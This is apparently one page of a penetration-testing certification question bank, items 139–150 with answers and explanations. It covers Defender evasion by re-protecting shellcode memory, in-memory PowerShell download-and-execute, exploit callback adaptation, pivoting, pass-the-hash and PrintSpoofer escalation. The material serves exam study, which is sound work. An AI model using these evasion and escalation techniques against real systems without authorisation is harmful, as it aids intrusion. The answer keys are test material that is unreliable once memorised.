Candidates often look at server-side logs or traffic proxies, forgetting that DOM XSS occurs entirely within the client's browser and may never be transmitted to the server at all.

139
MCQmedium

A penetration tester delivers a custom .NET executable to a Windows 10 host running Microsoft Defender with cloud-delivered protection enabled. The binary contains an embedded shellcode blob in its .data section. After the loader decrypts the shellcode in memory and begins executing it, Defender terminates the process even though the file itself never touched disk again. Which technique would most directly address this specific detection?

A.Base64-encode the shellcode and decode it immediately before calling CreateThread.
B.Change the shellcode's allocation from VirtualAlloc with PAGE_EXECUTE_READWRITE to VirtualAlloc with PAGE_READWRITE, then use VirtualProtect to flip the page to PAGE_EXECUTE_READ just before invoking the shellcode.
C.Encrypt the shellcode with XOR and decrypt it at runtime using a stack-based routine.
D.Recompile the loader with the /GS- flag to disable stack cookies and reduce the binary's static footprint.
AnswerB

Defender's behavioral engine commonly flags a single allocation that is simultaneously writable and executable, since legitimate code rarely needs RWX pages. Allocating as RW, writing the decrypted shellcode, then flipping to RX via VirtualProtect mimics how a normal loader maps code and removes the RWX indicator. The shellcode still executes, but the high-signal memory characteristic that triggered termination is eliminated.

Why this answer

The detection is behavioral and memory-resident, so the fix must change how memory is allocated and protected. Marking a single region both writable and executable is a classic high-signal indicator that Defender's behavioral engine correlates with shellcode loaders. Allocating writable, writing the payload, and then re-protecting the page as executable removes that indicator while still allowing the shellcode to run.

Encoding, compiler flags, and static obfuscation do not affect the in-memory execution profile.

Exam trap

The trap here is assuming that any obfuscation of the shellcode bytes will defeat Defender, when the detection is triggered by the memory protection state at execution time rather than the file contents.

140
Multi-Selecthard

A public exploit for a Linux service includes a compiled payload that connects back to a hardcoded IP address. You need to adapt it for your PEN-200 engagement. Which TWO actions are most appropriate? (Choose two.)

Select 2 answers
A.Disable the target firewall with an initial command so the hardcoded callback address becomes reachable.
B.Edit the exploit source to replace the hardcoded IP with your attacker IP, then recompile the payload if the exploit includes source.
C.Replace the payload with a bind shell on a common port so no callback address is needed.
D.Use msfvenom to generate a new payload that matches the target architecture and set the LHOST to your tun0 address, then substitute it into the exploit.
E.Run the exploit as-is and rely on port forwarding on your router to redirect the callback to your machine.
AnswersB, D

When source is available, changing the callback address and recompiling produces a payload that is byte-for-byte appropriate for the target and avoids introducing a foreign binary. This is the most transparent adaptation because the tester can review every change, confirm the architecture matches, and verify the callback address before delivery to the target service.

Why this answer

The hardcoded callback address must be replaced with the tester's reachable address, and the payload must match the target architecture. Regenerating with msfvenom or editing and recompiling the source both accomplish this while preserving the exploit's vulnerability trigger. Router forwarding and firewall changes do not alter the embedded address, and a bind shell changes the exploitation model unnecessarily.

Exam trap

The trap here is treating the hardcoded IP as a network-routing problem to be solved with forwarding or firewall changes, when the address is compiled into the payload itself.

141
MCQmedium

What role does the 'padding' play in a buffer overflow payload structure?

A.It acts as a NOP sled for the payload.
B.It prevents the stack from overflowing too quickly.
C.It ensures the return address is correctly aligned for overwriting.
D.It is used to encode the shellcode against detection.
AnswerC

Padding is essential to reach the exact offset of the saved return address on the stack. By filling the buffer with the correct amount of data, you ensure that the following bytes in your payload correctly overwrite the return address, allowing you to redirect the CPU execution flow precisely as intended.

Why this answer

Padding is the data placed between the start of the buffer and the return address. Its purpose is to exactly fill the buffer space so that the subsequent bytes in the payload land precisely on the return address. Without correct padding, the return address would be overwritten by the wrong bytes, causing the program to jump to an unintended and invalid location, leading to a crash rather than code execution.

Exam trap

Candidates often confuse padding with the shellcode or return address, assuming padding executes code rather than serving purely as filler bytes to align the memory layout correctly for a successful overwrite.

142
MCQmedium

Refer to the exhibit. Based on the HTTP response headers provided, what critical information can be gathered for your reconnaissance?

A.The operating system is exclusively Windows.
B.The web server version and PHP version are disclosed.
C.The database being used is Microsoft SQL Server.
D.The application is currently configured for debugging mode.
AnswerB

The headers contain clear information about the server software, Apache 2.4.41, and the scripting engine, PHP 7.4.3. This version disclosure is a major vulnerability in itself, as it allows attackers to quickly look up public CVEs associated with these specific versions and plan their next steps accordingly.

Why this answer

The headers explicitly disclose the web server (Apache 2.4.41) and the application framework (PHP 7.4.3). This is crucial intelligence because these specific versions may have known vulnerabilities or CVEs associated with them. By identifying the exact software stack, you can tailor your future exploitation efforts to target the specific weaknesses documented for these versions, significantly increasing the probability of a successful engagement and minimizing the noise generated by generic testing.

Exam trap

Candidates often ignore HTTP response headers, focusing only on the visual webpage content and missing critical server version disclosures.

143
Multi-Selectmedium

You have successfully identified a Windows target and need to perform deep enumeration. Which TWO techniques are most effective for identifying hidden local services and internal network connections?

Select 2 answers
A.Execute 'netstat -ano' to identify local listening ports and associated process IDs.
B.Run 'nmap -sS -p- 127.0.0.1' from the target machine to map all possible services.
C.Use 'wmic service get name,displayname,state,startmode' to list all configured services.
D.Analyze the 'hosts' file to find hidden DNS records for internal applications.
E.Check the system event logs for recent login attempts by administrative users.
AnswersA, C

The 'netstat -ano' command provides a comprehensive view of all active network connections and listening ports, including the specific process IDs (PIDs) associated with them. This is a foundational step in identifying locally bound services that are not accessible from the external network but are reachable via local exploitation.

Why this answer

Enumerating internal connections and services is essential for identifying lateral movement paths or local-only management interfaces. Using netstat confirms listening sockets that may not be exposed to the external network. Simultaneously, querying the Service Control Manager allows for the discovery of non-standard or custom services that might not be detected by typical port scans.

Mastering these OS-specific enumeration techniques significantly increases the likelihood of finding vulnerabilities in non-obvious entry points.

Exam trap

Candidates rely solely on external port scans and completely forget to run internal OS-level enumeration commands to find hidden local-only services.

144
MCQmedium

In the context of pivoting, what is 'double pivoting'?

A.Running two separate SSH processes to the same host.
B.Using two different protocols simultaneously for redundancy.
C.Tunneling through one compromised host to reach another.
D.Encrypting the tunnel twice for double security.
AnswerC

Double pivoting involves establishing a chain of tunnels through a sequence of compromised hosts. This allows the attacker to reach deep into an internal network where the target is separated by multiple firewalls or isolated VLANs that are only reachable by sequentially pivoting through multiple intermediate jump hosts.

Why this answer

Double pivoting involves chaining two or more tunnels together to reach a network segment that is not reachable from the primary jump host. You use the first compromised host to tunnel into a second host, then tunnel from that second host into the target network. This is a complex but necessary technique when navigating multi-layered network security architectures where subnets are isolated from each other.

Exam trap

Candidates confuse double pivoting with simple multi-homing. They fail to realize that double pivoting requires chaining two distinct tunnel processes, not just accessing a machine with two network cards.

145
MCQhard

An application is vulnerable to Server-Side Request Forgery (SSRF). You want to use this to scan the internal network. Which target should you attempt to access first to verify the vulnerability?

A.A known external public domain like google.com.
B.The local loopback address (127.0.0.1) or localhost.
C.The default gateway IP of the server's network.
D.An arbitrary private IP address like 10.0.0.1.
AnswerB

Accessing 127.0.0.1 confirms that the application can reach its own local services. Since the local interface is usually trusted, this is a highly reliable way to confirm the SSRF vulnerability and potentially uncover local administrative services or configuration endpoints.

Why this answer

The local loopback address is the most reliable target for verifying SSRF. If the server fetches content from 127.0.0.1, it confirms that the application is making requests on behalf of the user. This is a critical prerequisite before attempting to pivot into the internal network, as it proves that the application's request-handling mechanism can be subverted to interact with restricted infrastructure.

Exam trap

Candidates often attempt to scan external targets immediately, missing the fundamental step of confirming the vulnerability by hitting the local loopback, which proves the server is making the requests.

146
MCQhard

Refer to the exhibit. You are attempting a local port forward using PLINK, but receive a 'Connection refused' error. Which of the following is the most likely cause?

A.The internal target (10.0.0.5) is down.
B.The SSH service on the jump host is unavailable.
C.The password provided is incorrect.
D.The local port 8080 is already in use.
AnswerB

Connection refused implies the target IP address is reachable, but the specific port (typically 22 for SSH) is closed or not accepting connections. This is common if the SSH service is disabled, misconfigured, or if an egress firewall on your local network is blocking outbound connections to port 22.

Why this answer

A 'Connection refused' error typically indicates that the SSH service is not running on the target jump host (192.168.1.10) or that a firewall is blocking the connection to port 22. Even if the internal destination (10.0.0.5:80) is unreachable, the SSH connection to the jump host itself must be established first. If the initial SSH handshake fails, the tunnel cannot be created.

Exam trap

Candidates often assume a 'Connection refused' error means the internal target service is down, overlooking the fact that the initial SSH connection to the jump host failed completely.

147
MCQmedium

You have gained a foothold on an internal Linux host (10.10.10.20) that can reach a segregated network containing a web server at 192.168.100.50:80. Your attack machine cannot reach 192.168.100.50 directly. You want to use the compromised host to forward traffic from your machine's local port 8080 to 192.168.100.50:80. Which SSH command should you run from your attack machine?

A.ssh -D 8080 user@10.10.10.20
B.ssh -L 80:192.168.100.50:8080 user@10.10.10.20
C.ssh -R 8080:192.168.100.50:80 user@10.10.10.20
D.ssh -L 8080:192.168.100.50:80 user@10.10.10.20
AnswerD

This command creates a local port forward: it listens on your local port 8080 and forwards connections through the SSH tunnel to 192.168.100.50:80 from the perspective of the compromised host. This is exactly what is needed to reach the internal web server via the pivot.

Why this answer

To reach an internal service through a compromised host, you use SSH local port forwarding. The -L option binds a local port on your machine and tunnels connections through the SSH server to the specified destination. The correct syntax maps local port 8080 to 192.168.100.50:80 via the pivot host.

This allows you to access the internal web server by connecting to localhost:8080.

Exam trap

The trap here is confusing local and remote port forwarding: remembering that -L forwards local traffic to a remote destination, while -R does the opposite, is crucial.

148
MCQeasy

Which of the following conditions is required to execute a successful Pass-the-Hash (PtH) attack against a target workstation?

A.The target machine must have Kerberos disabled.
B.The attacker must possess the cleartext password of the target user.
C.The NTLM hash must correspond to an account with local administrative rights.
D.The target machine must be a Domain Controller.
AnswerC

To achieve lateral movement or privilege escalation via PtH, the captured hash must belong to an account that has the necessary permissions on the target system. Without local administrative rights, the attacker may authenticate successfully but will remain restricted to the low-privileged environment of the captured user.

Why this answer

Pass-the-Hash relies on the fact that NTLM authentication uses the hash of a password rather than the password itself. If an attacker gains the NTLM hash of a user who has local administrative rights on a target, they can authenticate as that user. This is a primary method for lateral movement within an AD environment, allowing attackers to escalate privileges across hosts without ever needing to know the user's actual cleartext password.

Exam trap

Candidates often assume that any captured NTLM hash can be used to authenticate against any target. You must specifically possess a hash belonging to an account with local administrative rights on the destination.

149
MCQmedium

An analyst is attempting to execute a custom C2 stager on a Windows 10 workstation with active Windows Defender. They decide to use a PowerShell one-liner that downloads a script from a remote server and executes it directly using the Invoke-Expression (IEX) cmdlet. Why is this method generally more effective than downloading an .exe file to the Desktop?

A.It bypasses the Antimalware Scan Interface (AMSI) entirely by default.
B.Memory-only execution avoids the file-on-disk signature scanning process.
C.PowerShell scripts are automatically trusted by the Windows integrity system.
D.The method uses the System.Net.WebClient class which encrypts the payload.
AnswerB

Antivirus software heavily relies on scanning new files created on the hard drive against a database of known malware signatures. By executing code directly in memory using Invoke-Expression, the payload never triggers the file system write hooks that would normally prompt an immediate scan, allowing the code to run if it can evade behavioral analysis.

Why this answer

In-memory execution avoids the creation of files on the physical disk, which is where most traditional antivirus solutions perform their primary signature-based scanning. By keeping the malicious payload within the volatile memory of the PowerShell process, the attacker minimizes the forensic footprint and reduces the likelihood of triggering alerts associated with suspicious file creation or modification events on the local file system.

Exam trap

Candidates frequently focus on file-based obfuscation, ignoring that simply writing a suspicious .exe to disk triggers immediate signature scanning, whereas memory-only execution bypasses this specific detection layer entirely.

150
MCQmedium

You have a low-privileged shell on a Windows Server 2016 host and run `whoami /priv`. The output shows `SeImpersonatePrivilege` enabled. You also notice that the `Print Spooler` service is running. Which technique would most directly allow you to escalate to NT AUTHORITY\SYSTEM?

A.Exploit an unquoted service path in the Print Spooler service binary path to plant a malicious executable.
B.Use `RottenPotato` to relay NTLM authentication from the spooler to an attacker-controlled SMB server and capture the SYSTEM token.
C.Use the `PrintSpoofer` tool to coerce the Print Spooler service into authenticating to a named pipe under your control, then impersonate the SYSTEM token.
D.Abuse the `SeBackupPrivilege` to copy the SAM and SYSTEM registry hives, then extract local password hashes offline.
AnswerC

`PrintSpoofer` leverages the Print Spooler service to force a SYSTEM-level authentication to a named pipe you create. With `SeImpersonatePrivilege`, you can capture and impersonate that token, gaining SYSTEM. This is a direct and reliable escalation when the spooler is running and your account holds the privilege.

Why this answer

When `SeImpersonatePrivilege` is enabled and the Print Spooler service is running, coercing a SYSTEM authentication to a controlled named pipe allows token impersonation. `PrintSpoofer` automates this by triggering the spooler to connect to a malicious pipe, then impersonating the resulting token. This yields a direct SYSTEM shell without needing additional misconfigurations.

Exam trap

The trap here is assuming that any privilege escalation requires a service misconfiguration or weak file permissions, overlooking that `SeImpersonatePrivilege` alone can be abused via token coercion techniques like `PrintSpoofer`.

Page 1

Page 2 of 4

Page 3

All pages